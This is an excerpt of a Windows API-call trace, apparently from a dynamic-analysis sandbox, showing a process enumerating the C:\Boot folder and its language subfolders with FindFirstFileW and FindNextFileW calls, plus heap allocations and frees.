	[0036.941] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.941] FindClose (in: hFindFile=0x3e91098 | out: hFindFile=0x3e91098) returned 1
	[0036.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.941] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0036.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.942] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e91098
	[0036.943] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.943] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0036.943] FindClose (in: hFindFile=0x3e91098 | out: hFindFile=0x3e91098) returned 1
	[0036.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.943] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0036.943] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.943] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e91098
	[0036.944] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.944] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.944] FindClose (in: hFindFile=0x3e91098 | out: hFindFile=0x3e91098) returned 1
	[0036.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.944] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0036.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.944] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e91098
	[0036.945] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.945] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.945] FindClose (in: hFindFile=0x3e91098 | out: hFindFile=0x3e91098) returned 1
	[0036.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.945] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0036.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.945] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600ec0
	[0036.946] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.946] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.946] FindClose (in: hFindFile=0x3600ec0 | out: hFindFile=0x3600ec0) returned 1
	[0036.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.947] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0036.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.947] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600ec0
	[0036.947] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.947] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.947] FindClose (in: hFindFile=0x3600ec0 | out: hFindFile=0x3600ec0) returned 1
	[0036.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.947] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0036.948] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.948] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600ec0
	[0036.948] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.949] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.949] FindClose (in: hFindFile=0x3600ec0 | out: hFindFile=0x3600ec0) returned 1
	[0036.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.949] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0036.949] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.949] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600ec0
	[0036.949] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.949] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.949] FindClose (in: hFindFile=0x3600ec0 | out: hFindFile=0x3600ec0) returned 1
	[0036.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.949] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0036.950] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.950] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600ec0
	[0036.950] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.951] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.951] FindClose (in: hFindFile=0x3600ec0 | out: hFindFile=0x3600ec0) returned 1
	[0036.951] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.951] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0036.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.951] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600ec0
	[0036.951] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.951] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.951] FindClose (in: hFindFile=0x3600ec0 | out: hFindFile=0x3600ec0) returned 1
	[0036.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.952] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0036.952] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.952] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600ec0
	[0036.955] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.955] FindNextFileW (in: hFindFile=0x3600ec0, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.955] FindClose (in: hFindFile=0x3600ec0 | out: hFindFile=0x3600ec0) returned 1
	[0036.955] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
